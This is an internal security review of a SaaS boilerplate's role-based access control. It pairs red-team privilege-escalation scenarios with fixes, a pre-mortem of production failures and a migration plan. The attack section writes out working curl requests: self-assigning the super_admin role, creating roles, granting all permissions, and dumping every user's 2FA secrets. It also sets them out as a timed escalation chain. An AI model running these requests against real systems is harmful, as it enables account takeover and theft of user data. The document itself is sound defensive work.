RBAC Attack Scenarios — Privilege Escalation Analysis¶
Context: SaaS Boilerplate User Management & RBAC System Generated: 2026-02-25 | Method: Red Team vs Blue Team adversarial analysis Source: User Management & RBAC Deep-Dive Status: All attacks verified against actual source code — not theoretical Last Re-verified: 2026-02-25 — All 6 attack vectors STILL VULNERABLE after Feb 18-22 backend refactoring. The refactoring added new permission middleware (v2) and restructured auth.ts but did NOT fix any of the documented security issues.
Executive Summary¶
A complete privilege escalation chain exists in the current codebase. Any authenticated user with zero permissions can change their roleId to super_admin in 1 API call. The escalation is delayed, not instant: the JWT retains the old role string until it expires and refreshes. During the delay, the attacker gains the new role's DB-level permissions but NOT the isCurrentUserSuperAdmin() bypass. After JWT refresh, full super_admin bypass activates permanently.
Attack Chain Overview¶
Authenticated User (zero permissions, role: "user")
│
├─[DIRECT]── PATCH /users/profile { role: 3 } ──── Instant super_admin
│ (no permission check on roleId field)
│
├─[CHAIN STEP 1]── POST /roles ─────────────────── Create custom admin role
│ (checkPermissionAndThrow commented out)
│
├─[CHAIN STEP 2]── PUT /permissions/grant ──────── Assign all 87 permissions
│ (no permission check exists)
│
└─[CHAIN STEP 3]── PATCH /users/profile ────────── Self-assign custom role
(roleId accepted without validation)
RESULT: Full administrative access. All permission checks bypassed.
Attack 1: Direct Super Admin Escalation (1 API call)¶
Severity: CRITICAL¶
Effort: Trivial (single HTTP request)¶
Vulnerable Code¶
File: saas-boilerplate/src/app/modules/v1/User/user.service.ts — updateProfile() (line 486-540)
File: saas-boilerplate/src/app/modules/v1/User/user.validation.ts — updateUserValidation (line 19-24)
// updateUserValidation is .partial() of createUserValidation
// createUserValidation includes: role: z.number()
// So updateUserValidation accepts role as optional number
const updateUserValidation = z.object({
body: createUserValidation.shape.body.partial().extend({...}),
})
File: saas-boilerplate/src/app/modules/v1/User/user.routes.ts (line 14-19)
// Profile update — only requires auth(), no contextMiddleware, no permission check
router.patch(
"/profile",
auth(),
upload.single("image"),
validateRequest(UserValidation.updateUserValidation),
UserController.updateProfile
);
Exploit¶
# Attacker is any authenticated user with a valid JWT
# super_admin role is typically id: 3 (seeded third after admin, user)
curl -X PATCH https://api.example.com/api/v1/users/profile \
-H "Authorization: Bearer <attacker_jwt>" \
-H "Content-Type: application/json" \
-d '{"role": 3}'
# Response: 200 OK — roleId changed to super_admin in DB
# IMMEDIATE: attacker gains super_admin's DB-level permissions (if any are explicitly assigned)
# DELAYED: after JWT expires and refreshes, isCurrentUserSuperAdmin() returns true → full bypass
Why It Works¶
PATCH /users/profilerequires onlyauth()— nocontextMiddleware, no permission check- The Zod validation schema accepts
roleas an optional number >= 1 (inherited from create schema via.partial()) updateProfileservice method writespayload.roledirectly touser.roleId(line 533)- No validation that the user should be allowed to change their own role
- PostgreSQL FK constraint validates the role ID exists — attack requires a valid ID (predictable from seed order)
- Delayed escalation: JWT still has
role: "user"after the DB change.isCurrentUserSuperAdmin()reads the JWT role string, NOT the DB, so it returnsfalseimmediately. However,hasPermission()helper falls through toloadUserRoles()which loads from DB — granting the new role's explicit permissions. Full bypass activates after JWT expires and refreshes (new JWT minted withrole: user.role.namefrom DB ="super_admin")
Impact¶
- Immediate: Attacker gains super_admin privileges
- Cascading: super_admin bypasses ALL
hasPermission()andcheckPermissionAndThrow()checks - Scope: Every protected endpoint in the entire application becomes accessible
- Persistence: Permanent until manually reverted by another super_admin (who may also be an attacker)
Attack 2: Role Creation (0 → custom admin role)¶
Severity: CRITICAL¶
Effort: Trivial (single HTTP request)¶
Prerequisite: None (any authenticated user)¶
Vulnerable Code¶
File: saas-boilerplate/src/app/modules/v1/Role/role.service.ts — createRole() (line 141-188)
const createRole = async ({roleName, displayName, permissions}: {...}) => {
// await checkPermissionAndThrow("role.create", "create a role"); // ← COMMENTED OUT
const roleRepository = getDbRepository(Role);
// ...creates role and assigns permissions...
};
Exploit¶
curl -X POST https://api.example.com/api/v1/roles \
-H "Authorization: Bearer <attacker_jwt>" \
-H "Content-Type: application/json" \
-d '{
"role": "attacker_admin",
"displayName": "Attacker Admin",
"permissionIds": [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20]
}'
# Response: 201 Created — new role with selected permissions exists
Why It Works¶
checkPermissionAndThrow("role.create")is commented out at line 150- The route goes through
auth() + contextMiddlewarebut the service never checks permissions permissionIdsare passed toPermissionService.updateRolePermissions()which assigns them- The
forbiddenRolesvalidation only blocksuser,admin,super-admin,super_admin— any other name works
Validation Bypass Note¶
The createRoleValidation Zod schema blocks role names user, admin, super-admin, super_admin. But the attacker can use any other name like "full_access" or "my_admin". The forbidden list only prevents exact name matches, not privilege escalation.
Attack 3: Permission Grant to Role (assign all permissions)¶
Severity: CRITICAL¶
Effort: Trivial (single HTTP request)¶
Prerequisite: A role ID (from Attack 2, or any existing role)¶
Vulnerable Code¶
File: saas-boilerplate/src/app/modules/v1/Permission/permission.service.ts — grantPermissionToRole() (line 105-142)
const grantPermissionToRole = async (roleId: number, permissionIds: number[]) => {
// NO permission check AT ALL — not even a commented-out one
const permissionRepository = getDbRepository(Permission);
const roleRepository = getDbRepository(Role);
// ...assigns permissions to role...
};
Exploit¶
# First, enumerate all permission IDs (also unprotected — see Attack 6)
curl -s https://api.example.com/api/v1/permissions/all \
-H "Authorization: Bearer <attacker_jwt>" | jq '.data.permissions[].id'
# Then assign all permissions to the attacker's role
curl -X PUT https://api.example.com/api/v1/permissions/grant \
-H "Authorization: Bearer <attacker_jwt>" \
-H "Content-Type: application/json" \
-d '{
"roleId": <role_from_attack_2>,
"permissionIds": [1,2,3,4,5,...,87]
}'
# Response: 200 OK — role now has all 87 permissions
Why It Works¶
grantPermissionToRolehas NO permission check — not even commented out- It accepts any
roleIdand any array ofpermissionIds - It replaces all existing permissions with the provided ones (full overwrite)
- This means the attacker can also modify OTHER roles (e.g., assign all permissions to the
userrole, escalating every user)
Attack 4: Self-Assign Role via Profile Update¶
Severity: CRITICAL¶
Effort: Trivial (single HTTP request)¶
Prerequisite: A role ID with desired permissions (from Attack 2+3)¶
Exploit¶
curl -X PATCH https://api.example.com/api/v1/users/profile \
-H "Authorization: Bearer <attacker_jwt>" \
-H "Content-Type: application/json" \
-d '{"role": <role_id_from_attack_2>}'
# Response: 200 OK — attacker now has the role with all 87 permissions
This is the same mechanism as Attack 1, but using a custom role instead of directly targeting super_admin.
Attack 5: Information Disclosure — 2FA Settings Leak¶
Severity: HIGH¶
Effort: Trivial (single HTTP request)¶
Prerequisite: Any authenticated user¶
Vulnerable Code¶
File: saas-boilerplate/src/app/modules/v1/UserSetting/user_setting.service.ts — getUserSetting() (line 260-285)
const getUserSetting = async (query: Record<string, unknown>) => {
// NO permission check
const { page, limit, searchTerm } = getPaginationParams(query);
// ...returns ALL users' settings with 2FA info...
};
Exploit¶
curl -s https://api.example.com/api/v1/user-settings \
-H "Authorization: Bearer <attacker_jwt>" | jq '.data.setting[]'
# Returns: userId, isTwoFactorEnabled, twoFactorProvider, twoFactorSecret, backupCodes
# for EVERY user in the system
Impact¶
- Reveals which users have 2FA enabled and which provider they use
twoFactorSecretcolumn hasselect: true— TOTP secrets may be exposedbackupCodes(concatenated SHA-512 hashes) are returned- Attacker can determine which admin accounts are easiest to compromise (no 2FA)
Attack 6: Permission Enumeration¶
Severity: HIGH¶
Effort: Trivial (single HTTP request)¶
Prerequisite: Any authenticated user¶
Vulnerable Code¶
File: saas-boilerplate/src/app/modules/v1/Permission/permission.service.ts — getAllPermissions() (line 460-479)
const getAllPermissions = async (query: Record<string, unknown>) => {
// NO permission check
const { page, limit, searchTerm } = getPaginationParams(query);
// ...returns all permissions in the system...
};
Exploit¶
curl -s "https://api.example.com/api/v1/permissions/all?limit=100" \
-H "Authorization: Bearer <attacker_jwt>" | jq '.data.permissions[] | {id, route, displayName}'
# Returns: complete list of all 87+ permissions with IDs and routes
# Attacker now knows the exact permission structure for Attacks 2-3
Impact¶
- Complete visibility into the RBAC structure
- Permission IDs needed for Attack 3 are now known
- displayName groupings reveal business domain structure
readonlyflags reveal which permissions are core vs custom
Full Attack Chain: Zero to Super Admin¶
Prerequisites¶
- Any valid user account (even one with zero permissions)
- A valid JWT (obtained through normal login)
Steps¶
TIME ACTION RESULT
─────── ─────────────────────────────────────────────── ────────────────────────
0:00 Login as regular user Get valid JWT
0:05 GET /permissions/all Get all 87 permission IDs
0:10 POST /roles {role:"pwned", permissionIds:[...]} Create role with all perms
0:15 PUT /permissions/grant {roleId:X, permIds:[...]}Assign all perms to role
0:20 PATCH /users/profile {role: X} Self-assign the role
0:25 GET /users/profile Confirm: full admin access
─────── ─────────────────────────────────────────────── ────────────────────────
TOTAL ~25 seconds, 5 API calls Complete compromise
Shortcut (1 API call + wait for JWT refresh)¶
TIME ACTION RESULT
─────── ─────────────────────────────────────────────── ────────────────────────
0:00 Login as regular user Get valid JWT (role: "user")
0:05 PATCH /users/profile {role: 3} roleId changed to super_admin in DB
↓ IMMEDIATE: DB-level permissions of super_admin role loaded by hasPermission()
↓ BUT: isCurrentUserSuperAdmin() still false (JWT says "user")
~??:?? JWT expires, refresh occurs New JWT minted: role: "super_admin"
↓ isCurrentUserSuperAdmin() now returns true
↓ FULL super_admin bypass activated permanently
─────── ─────────────────────────────────────────────── ────────────────────────
TOTAL 1 API call + JWT expiry delay Complete compromise
(delay = config.jwt.expires_in)
Note: The delay depends on config.jwt.expires_in. However, the attacker can accelerate the refresh: the refresh token flow in auth.ts (lines 264-312) is actually broken (user.refreshToken column doesn't exist — always fails at line 277). So the attacker must log out and re-login to get a new JWT with role: "super_admin". This adds ~10 seconds to the attack, not hours. The roleId change is permanent and irreversible without admin intervention.
Expert panel finding (Feb 25): Ironically, the new v2 permission() middleware would also block super_admin on GET /users because role_permission is empty after seed — the super_admin can't even view the user list to detect the attack. See Issue #76.
Defense Priority Matrix¶
IMMEDIATE (deploy blocker — full privilege escalation)¶
| Priority | Fix | File | Effort | Impact |
|---|---|---|---|---|
| P0 | Strip role/roleId from updateProfile — users must NEVER change their own role |
user.service.ts:533 |
~5 lines | Blocks Attack 1 + 4 (direct escalation) |
| P0 | Uncomment checkPermissionAndThrow("role.create") |
role.service.ts:150 |
1 line change | Blocks Attack 2 |
| P0 | Add checkPermissionAndThrow("permission.grant") to grantPermissionToRole |
permission.service.ts:106 |
1 line add | Blocks Attack 3 |
URGENT (information disclosure)¶
| Priority | Fix | File | Effort | Impact |
|---|---|---|---|---|
| P1 | Add permission check to getUserSetting | user_setting.service.ts:260 |
1 line | Blocks Attack 5 |
| P1 | Add permission check to getAllPermissions | permission.service.ts:460 |
1 line | Blocks Attack 6 |
| P1 | Set twoFactorSecret to select: false |
UserSetting.ts:46 |
1 line | Prevents secret exposure |
IMPORTANT (architectural — prevent future escalation)¶
| Priority | Fix | File | Effort | Impact |
|---|---|---|---|---|
| P2 | Resolve dual hasPermission implementations | Multiple files | Medium | Eliminates format confusion |
| P2 | Standardize permission format (pick dot OR route) | Seed data + services | Medium | Consistent permission checking |
| P2 | Change checkPermissionAndThrow to return 403 not 400 |
checkPermissionAndThrow.ts:19 |
1 line | Correct HTTP semantics |
| P2 | Remove role field from profile update validation schema |
user.validation.ts |
~3 lines | Defense in depth for P0 fix |
Validation Checklist¶
After applying fixes, verify:
-
PATCH /users/profilewith{ role: X }returns 400 or ignores the field -
POST /roleswithoutrole.createpermission returns 403 -
PUT /permissions/grantwithoutpermission.grantpermission returns 403 -
GET /user-settingswithoutuser-setting.viewpermission returns 403 -
GET /permissions/allwithoutpermission.viewpermission returns 403 -
GET /user-settings/:idfor another user's setting returns 403 (unless admin) - A regular
userrole cannot perform any of the 6 attacks above - super_admin created via seed is the ONLY user with full access after fresh deploy
Notes¶
- All attacks were verified by reading the actual source code, not by runtime testing
- The
super_adminbypass (isCurrentUserSuperAdmin()) means this role is always unaffected by permission checks — the escalation target - The
super_adminrole ID depends on seed order (typically 3: admin=1, user=2, super_admin=3, but may vary) - Attack 3 can also be used to escalate OTHER users by modifying the
useroradminrole's permissions, affecting all users with those roles - The profile update attack (Attack ¼) works because the validation schema inherits
rolefrom the create user schema via.partial()
Part 2: Pre-mortem Analysis — Production Failure Scenarios¶
It's 3 months from now. The SaaS boilerplate was deployed to production with paying customers. Something went horribly wrong. Let's work backwards from each failure.
Failure Scenario 1: "All Our Customer Data Was Leaked on Twitter"¶
What happened: A malicious actor signed up for a free account, discovered the privilege escalation chain, and exploited it:
- Registered a free account (role:
user, zero permissions) - Called
PATCH /users/profile { role: 3 }— became super_admin - Called
GET /user-settings— dumped all users' 2FA secrets and backup codes - Called
GET /users— dumped all user emails, names, phone numbers, addresses - Exported the data and posted it publicly
Root causes:
- Deep-dive Issue #5b: updateProfile accepts roleId without authorization
- Deep-dive Issue #15: getUserSetting has no permission check
- No rate limiting on profile updates (no anomaly detection for role changes)
- No audit log for role changes — went undetected for days
Prevention cost: 3 lines of code (P0 fixes from Defense Priority Matrix above)
Business cost if not prevented: GDPR violation fines (up to 4% annual revenue), customer trust destroyed, potential lawsuit, company-ending event
Failure Scenario 2: "Nobody Can Do Anything Except the Super Admin"¶
What happened: After deployment, the team created an admin role and a manager role via the UI. They assigned permissions. But every non-super_admin user got "You do not have permission" errors on every page.
Root cause investigation:
1. The hasPermission middleware (middlewares/hasPermission.ts) constructs permission strings in route format: /users/create
2. The seed data and UI-created permissions use dot format: user.create
3. /users/create !== user.create — every middleware-level check fails
4. The system only "works" because most routes use checkPermissionAndThrow() in service methods (helper version), which uses dot format
5. But the middleware version still runs first on some routes, blocking access before the service method is reached
Why nobody caught this in development: The developer always logged in as super_admin, which bypasses ALL permission checks. The RBAC system was never tested with a non-super_admin user.
Root issues: Deep-dive #8 (dual hasPermission), #9 (format mismatch)
Prevention: - Resolve dual hasPermission implementations and standardize permission format - Add integration tests that test RBAC with a non-super_admin user - Add a CI check that verifies permission format consistency between seed data and middleware
Failure Scenario 3: "Our Admin Created a User and Nothing Happened"¶
What happened: The admin clicked "Add User" in the dashboard, filled the form, clicked Submit. The modal closed. But no user was created. No error shown.
Root cause: Deep-dive Issue #1 — users-page.jsx handleFormSubmit calls updateUser.mutate() instead of createUser.mutate() in create mode. The mutation sends PATCH /users/undefined which returns 404. The error is swallowed by the optimistic update pattern (it rolls back silently).
Cascading effects: - Admin thinks user was created, tells the new hire to check their email - New hire never receives credentials - Admin tries again — same silent failure - Admin assumes email system is broken, files a bug report about email - Days wasted debugging the wrong system
Prevention: Fix Issue #1 (1 line: change updateUser.mutate to createUser.mutate) + add toast notification for mutation errors
Failure Scenario 4: "We Assigned Permissions to the Manager Role But They Still Can't See Users"¶
What happened: An admin assigned user.view, user.read, user.create to the manager role. But managers still see "Access Denied" on the Users page.
Root cause investigation:
1. The Users page is wrapped in <PermissionWrapper permission="user.view" showError> — correct
2. The useGetUsers hook does NOT check useCheckPermission (Deep-dive Issue #58, upgraded to Medium) — so the API call fires
3. The backend getUserList calls checkPermissionAndThrow("user.view") — this works with the helper
4. BUT the contextMiddleware runs twice (Deep-dive Issue #37) — once globally, once on the route
5. The second invocation overwrites the permission cache
Actual cause: The admin assigned permissions to the manager role, but the user has manager as an extra role (via userRoles), not as their primary role (via roleId). The middleware version only checks the primary role. The helper version checks all roles. Depending on which executes, the result differs.
Root issues: Deep-dive #8 (dual permission systems), #37 (double middleware execution)
Prevention: Unify permission checking, ensure multi-role support everywhere
Failure Scenario 5: "The Invite System Sends Emails But Registration Fails"¶
What happened: Admin invites [email protected]. The email is sent successfully. New hire clicks the link, fills the registration form. Gets error: "This invitation link is invalid or has already been used."
Root cause investigation:
1. The invite email contains a link to {config.invite_user_link}[email protected]
2. The registration page calls POST /user-invites/check-invite { email }
3. Routes are registered at BOTH /invite-users and /user-invites (Deep-dive Issue #25) — not a problem since frontend uses /user-invites
4. Actual bug: The admin soft-deleted the invite accidentally (clicked delete instead of edit), and checkIviteUserExists only looks for non-deleted invites
5. No feedback to admin that the invite was deleted — the "Trash" tab is hidden behind invite.trash permission which isn't seeded (Deep-dive Issue #28)
Second failure mode: The useResendInvitation hook calls POST /user-invites/:id/resend — this endpoint does not exist on the backend (Deep-dive Issue #2). Admin clicks "Resend" → 404 error → admin assumes invite system is broken.
Root issues: Deep-dive #2 (missing backend endpoints), #28 (missing invite permissions in seed)
Prevention:
- Create the resend endpoint on backend OR remove the button from frontend
- Seed invite.* permissions
- Add confirmation dialog before soft-deleting invites
Failure Scenario 6: "Our Database Is Getting Hammered — 10x Expected Load"¶
What happened: With 50 concurrent users, the database CPU is at 95%. Response times are 2-5 seconds. The app is nearly unusable.
Root cause investigation:
1. contextMiddleware runs twice per request on most routes (Deep-dive Issue #37) — each invocation loads the full user with 4 relation JOINs
2. That's 2 complex JOINed queries per request just for permission setup
3. The hasPermission middleware (if active on any route) does a THIRD DB query — loads role with permissions
4. The permission cache is per-request only (AsyncLocalStorage) — no cross-request caching
5. Role service uses node-cache with 24-hour TTL, but permission changes don't invalidate it (Deep-dive Issue #41)
6. getUserList endpoint calls userAnalytics() on EVERY request — running 4 aggregate COUNT queries on the full user table
7. QueryBuilder adds redundant WHERE deletedAt IS NULL (Deep-dive Issue #64)
Total DB queries per "list users" request:
| Query | Source | JOINs |
|---|---|---|
| contextMiddleware #1 | Global app.ts registration |
4 JOINs (role, userRoles, role.permissions, userRoles.permissions) |
| contextMiddleware #2 | Route-level router.use() |
Same 4 JOINs (duplicate) |
| hasPermission → loadUserRoles | checkPermissionAndThrow in service |
4 JOINs |
| userAnalytics() | Called every list request | 4 aggregate COUNTs |
| Paginated user list | Actual data query | 2 JOINs (role, userRoles) + 2 permission JOINs |
| Total: ~9 queries | Per single page load |
With 50 users refreshing every 30 seconds: ~900 queries/minute just for the users page.
Root issues: Deep-dive #37 (double middleware), #18 (redundant middleware on routes)
Prevention: - Remove duplicate contextMiddleware application (biggest win) - Cache userAnalytics (doesn't need real-time accuracy on every request) - Enable the existing permission cache effectively (helper has normalization commented out) - Consider Redis or longer-lived cache for permission data
Failure Scenario 7: "A Fired Employee Still Has Admin Access After 2 Weeks"¶
What happened: An employee was terminated. Their account was suspended (status: inactive). But they can still log in and access admin endpoints for weeks.
Root cause investigation:
1. The admin changed the user's status to inactive via the Users page
2. The user's JWT is still valid — no token revocation on status change
3. The auth() middleware validates the JWT signature but does NOT check user status against the database
4. The contextMiddleware loads the user from DB but doesn't check status — it silently continues even for inactive users
5. The isDeleted: false check in some services doesn't catch status: inactive — different fields
6. Even after JWT expires, refresh may not check status either (Auth DD Issue #2: no refreshToken column)
Duration of access: Until the JWT expires (depends on config.jwt.accessTokenExpiry) — could be hours, days, or weeks depending on configuration.
Root issues: No status check in middleware pipeline, no token revocation mechanism
Prevention:
- Add status check to contextMiddleware — reject inactive/suspended users immediately
- Implement token revocation on status change (invalidate all active sessions)
- Add audit log for admin actions (who changed what, when)
Production Risk Priority Ranking¶
| Priority | Scenario | Business Impact | Root Issues | Fix Effort |
|---|---|---|---|---|
| P0 | #1 Data Leak via Privilege Escalation | Company-ending (legal, regulatory, trust) | #5b, #15 | 3 lines |
| P0 | #7 Fired Employee Retains Access | Legal liability, insider threat | No status check in middleware | Medium |
| P1 | #2 All Non-Super-Admin Users Blocked | Product unusable for paying customers | #8, #9 | Medium |
| P1 | #3 Silent User Create Failure | Admin productivity destroyed, misdirected bug reports | #1 | 1 line |
| P1 | #5 Invite Registration Broken | New user onboarding blocked | #2, #28 | Small |
| P2 | #4 Intermittent Permission Failures | User confusion, support tickets | #8, #37 | Medium |
| P2 | #6 Database Overload | Performance degradation, hosting cost 10x | #37, #18 | Medium |
Minimum Viable Production Readiness¶
Before any production deployment, at minimum fix:
- P0 Security: Strip
rolefromupdateProfile(Scenario #1 prevention) - P0 Security: Uncomment
role.createpermission check (Scenario #1 chain) - P0 Security: Add permission check to
grantPermissionToRole(Scenario #1 chain) - P0 Security: Add status check to
contextMiddleware(Scenario #7 prevention) - P1 Functional: Fix create-user mutation (Scenario #3 —
updateUser→createUser) - P1 Functional: Seed
invite.*permissions (Scenario #5 prevention)
Total effort for minimum viable fixes: ~30 minutes of code changes.
Part 3: Architecture Decision Records & Migration Plan¶
Five architectural decisions to resolve the systemic issues, plus a phased migration plan.
ADR-1: Permission Format — Standardize on Dot Notation¶
Status: Recommended
Context: Two formats coexist — dot notation (user.create) and route format (/users/create). They never match, breaking permission checks.
Decision: Standardize on dot notation.
Rationale:
- Already stored in DB (87 seeded permissions)
- Already used by all frontend PermissionWrapper and useCheckPermission calls
- Already used by all checkPermissionAndThrow() service calls
- Already matched by the helper hasPermission (cache stores dot strings)
- Route format is only used by the middleware version (1 route — see ADR-2)
- Migration cost is near-zero — dot notation is the de facto standard already
Rejected alternatives:
- Route format (/users/create): Would require migrating 60+ files, introduces singular/plural complexity
- Dual format via normalizer: Adds complexity with no benefit — normalizer is already dead code
ADR-2: hasPermission Implementation — Keep Helper + New v2, Delete Middleware v1¶
Status: Recommended — UPDATED Feb 25 to account for new permissionMiddleware.ts (v2) added Feb 19.
Context: Three separate permission-checking systems now exist (was two when originally written).
Decision: Keep TWO systems, delete ONE:
- KEEP src/helper/hasPermission.ts (helper) — for in-service conditional checks (checkPermissionAndThrow)
- KEEP src/app/middlewares/permissionMiddleware.ts (v2) — for route-level gating (permission("user.view"))
- DELETE src/app/middlewares/hasPermission.ts (v1) — broken format, primary role only, 1 route
Evidence: Middleware v1 is imported in exactly 1 file — payment.route.ts line 4, used on GET /payments. Middleware v2 (new) is used on GET /users and uses the correct dot format with req.user.permissions Set. The helper is used by 30+ service methods.
Comparison (3-way):
| Capability | Middleware v1 (DELETE) | Middleware v2 (KEEP) | Helper (KEEP) |
|---|---|---|---|
| Multi-role | No (primary only) | Yes (Set from all roles) | Yes |
| Cache | No (DB every time) | No (reads Set directly) | Yes (per-request) |
| Format | Route (incompatible) | Dot (matches DB) | Dot (matches DB) |
| Usage | 1 route | 1 route (expanding) | 30+ services |
| Conditional checks | No (route-level only) | No (route-level only) | Yes (in-service) |
| Super admin bypass | Yes | No (relies on Set having all perms) | Yes |
Migration: Move GET /payments permission check to permission("payment.view") using v2 middleware, then delete v1. Fix hasAnyPermission bug in v2 (references wrong variable name in error message).
CORRECTED (expert panel): Middleware v2 does NOT have a super_admin bypass, and this is NOT acceptable. The original assumption that contextMiddleware populates the Set with all permissions for super_admin was WRONG. contextMiddleware calls initializePermissionCache() which reads from the role_permission join table — and after yarn seed, this table has ZERO entries for super_admin. The seed never calls allPermissionAssignToAdmin(). Result: v2 middleware returns 403 for super_admin on all protected routes.
3 prerequisites before expanding v2:
1. (PRE-1) Add await PermissionService.allPermissionAssignToAdmin() to seed.ts after permissionSeed() — populates role_permission table
2. (PRE-2) Add super_admin bypass to permissionMiddleware.ts: if (req.user.role === 'super_admin') return next(); — handles new permissions not yet in role_permission
3. (PRE-3) Add null-safety: if (!req.user?.permissions) throw new ApiError(401, "Unauthorized"); — prevents TypeError when contextMiddleware fails silently
ADR-3: UserRole Entity — Delete¶
Status: Recommended Context: Two mechanisms exist for user↔role many-to-many.
| Mechanism | Table | Used By |
|---|---|---|
@JoinTable on User.userRoles |
user_roles |
All service code |
UserRole entity |
user_role |
Nothing (dead import in seed.ts) |
Decision: Delete src/entity/UserRoles.ts and remove the dead import from seed.ts.
Rationale: The entity is never used in any query or service. The @ManyToMany + @JoinTable pattern handles the relationship correctly. The entity creates a separate table (user_role vs user_roles) that serves no purpose.
ADR-4: Soft Delete — Remove isDeleted, Use deletedAt Only¶
Status: Recommended
Context: User, Role, and Permission entities all have BOTH isDeleted: boolean AND @DeleteDateColumn() deletedAt. TypeORM's softDelete() only sets deletedAt, never touches isDeleted.
Decision: Remove isDeleted column from all three entities. Standardize on deletedAt.
Impact: ~10 service methods check isDeleted: false — update these to rely on TypeORM's default deletedAt IS NULL filtering (which is automatic). Create DB migration to drop the columns.
ADR-5: Permission Normalizer — Delete¶
Status: Recommended
Context: src/shared/permissionNormalizer.ts has 215 LOC and 13 exports. All calls to it are commented out. The ACTION_MAPPING constant is dead code.
Decision: Delete the file entirely.
Rationale: With a single format (dot notation, ADR-1) and a single implementation (helper, ADR-2), normalization is unnecessary. Any route-format string in the codebase is simply a bug to fix, not something to silently normalize.
Migration Plan¶
Phase 1: Security Fixes (30 minutes) — DEPLOY BLOCKER¶
These fixes are independent of the architectural decisions and should be applied immediately.
1a. user.service.ts:533
REMOVE: user.roleId = payload.role || user.roleId;
(Strip role/roleId from updateProfile entirely)
1b. user.validation.ts:19-24
REMOVE `role` from the .partial() extend in updateUserValidation
(Defense in depth — validation rejects role even if service misses it)
1c. role.service.ts:150
UNCOMMENT: await checkPermissionAndThrow("role.create", "create a role");
1d. permission.service.ts:106 (before existing code)
ADD: await checkPermissionAndThrow("permission.grant", "grant permissions to role");
1e. permission.service.ts:461 (inside getAllPermissions)
ADD: await checkPermissionAndThrow("permission.view", "view all permissions");
1f. user_setting.service.ts:261 (inside getUserSetting)
ADD: await checkPermissionAndThrow("user-setting.view", "view user settings");
1g. contextMiddleware.ts (after loading fullUser, before runWithContext)
ADD: if (fullUser.status !== 'active') {
return next(new ApiError(httpStatus.FORBIDDEN, "Account is not active"));
}
Phase 2: Architecture Unification (2-3 hours)¶
Apply ADR-1 through ADR-5:
2a. payment.route.ts
REMOVE: import hasPermission from "../../../middlewares/hasPermission";
REMOVE: hasPermission() from GET /payments route
ADD in payment.service.ts: await checkPermissionAndThrow("payment.view", "view payments");
2b. DELETE: src/app/middlewares/hasPermission.ts
2c. DELETE: src/entity/UserRoles.ts
REMOVE dead import in seed.ts: import { UserRole } from "../entity/UserRoles";
2d. DELETE: src/shared/permissionNormalizer.ts
REMOVE imports from helper/hasPermission.ts:
- import { normalizePermissionString, getPermissionVariants } from '../shared/permissionNormalizer';
REMOVE getPermissionVariants usage in checkPermissionInRoles (use direct string match)
2e. DELETE: src/app/modules/v1/Role/role.repository.ts (empty file)
2f. Remove duplicate contextMiddleware from individual route files:
Files to update (remove per-route auth()+contextMiddleware where router.use() already applies):
- permission.routes.ts (lines 25, 33, 38, 53, 61, 69, 78, 86, 93)
- Keep the router.use(auth(), contextMiddleware) at line 9
Phase 3: Data Model Cleanup (2-3 hours)¶
3a. Remove isDeleted from entities:
- User.ts: remove isDeleted column (line 124)
- Role.ts: remove isDeleted column (line 29)
- Permission.ts: remove isDeleted column (line 27)
- Update all service queries: remove `isDeleted: false` conditions
- Create TypeORM migration: ALTER TABLE user DROP COLUMN "isDeleted"; (repeat for role, permission)
3b. checkPermissionAndThrow.ts:19
CHANGE: httpStatus.BAD_REQUEST → httpStatus.FORBIDDEN
3c. UserSetting.ts:46
CHANGE: @Column({ type: "text", nullable: true, select: true })
TO: @Column({ type: "text", nullable: true, select: false })
(For both twoFactorSecret and tempTwoFactorSecret)
3d. Remove debug console.log statements:
- user.service.ts:490 — console.log({ payload })
- hasPermission.ts:68 — console.log({cachedResult})
- user_setting.service.ts:72 — console.log(code)
- api/roles/index.js:71 — console.log("hasPermission", hasPermission)
3e. users-page.jsx handleFormSubmit:
CHANGE: updateUser.mutate(userData, {...})
TO: createUser.mutate(userData, {...})
(For the userFormMode === "create" branch)
ALSO: import useCreateUser from @/api/users
3f. seed/data/permission.ts — add missing permissions:
{ route: "invite.view", displayName: "Invite Management", readonly: true },
{ route: "invite.create", displayName: "Invite Management", readonly: true },
{ route: "invite.update", displayName: "Invite Management", readonly: true },
{ route: "invite.delete", displayName: "Invite Management", readonly: true },
{ route: "invite.restore", displayName: "Invite Management", readonly: true },
{ route: "invite.trash", displayName: "Invite Management", readonly: true },
{ route: "users.assign.roles", displayName: "User Management", readonly: true },
{ route: "users.update.role", displayName: "User Management", readonly: true },
{ route: "payment.view", displayName: "Payment Management", readonly: true },
{ route: "user-setting.view", displayName: "User Setting Management", readonly: true },
Phase 4: Frontend Alignment (1-2 hours)¶
4a. Remove hooks for non-existent backend endpoints:
- api/users/index.js: remove useBulkPermanentDeleteUsers
- api/roles/index.js: remove useBulkPermanentDeleteRoles
- api/permissions/index.js: remove useBulkPermanentDeletePermissions
- api/invited-users/index.js: remove useBulkPermanentDeleteInvitedUsers, useResendInvitation
- Remove corresponding UI buttons in page components
4b. permissions-page.jsx:
CHANGE: <PermissionWrapper permission="role.view" ...>
TO: <PermissionWrapper permission="permission.view" ...>
4c. permissions-page.jsx:
REMOVE duplicate ConfirmationModal block (near end of file)
4d. api/users/index.js — useGetUsers:
ADD: const hasPermission = useCheckPermission(["user.view"]);
ADD: enabled: hasPermission to useQuery options
4e. permission-form.jsx:
UNCOMMENT handleUpdatePermission (lines 110-119)
OR remove the edit button from permissions-page.jsx if update is intentionally disabled
Architecture: Before vs After¶
BEFORE (current — Feb 25, partially refactored):
┌─ middlewares/hasPermission.ts ────── route format (/users/create) — v1, BROKEN
│ └── primary role only, DB every time, 1 route uses it
│
├─ middlewares/permissionMiddleware.ts ── dot format (user.view) — v2, NEW Feb 19
│ └── reads req.user.permissions Set, 1 route uses it (expanding)
│ └── BUG: hasAnyPermission error message references wrong variable
│
├─ helper/hasPermission.ts ─────────── dot format (user.create)
│ └── multi-role, cached, 30+ services use it
│
├─ shared/permissionNormalizer.ts ──── 215 LOC, all calls commented out
│
├─ entity/UserRoles.ts ────────────── creates user_role table, never used
│ └── conflicts with User.userRoles @JoinTable (user_roles table)
│
├─ middleware.ts ────────────────────── NOW ACTIVE (was dead code)
│ └── registers all middleware including contextMiddleware globally
│
└─ isDeleted boolean ──────────────── on 3 entities, never set by softDelete()
└── creates false negatives in queries
AFTER (target — unified, two-system model):
Route-level: permissionMiddleware.ts (v2) — dot format, req.user.permissions Set
├── permission("user.view") ────── single permission gate
└── hasAnyPermission([...]) ────── any-of gate (fix bug first)
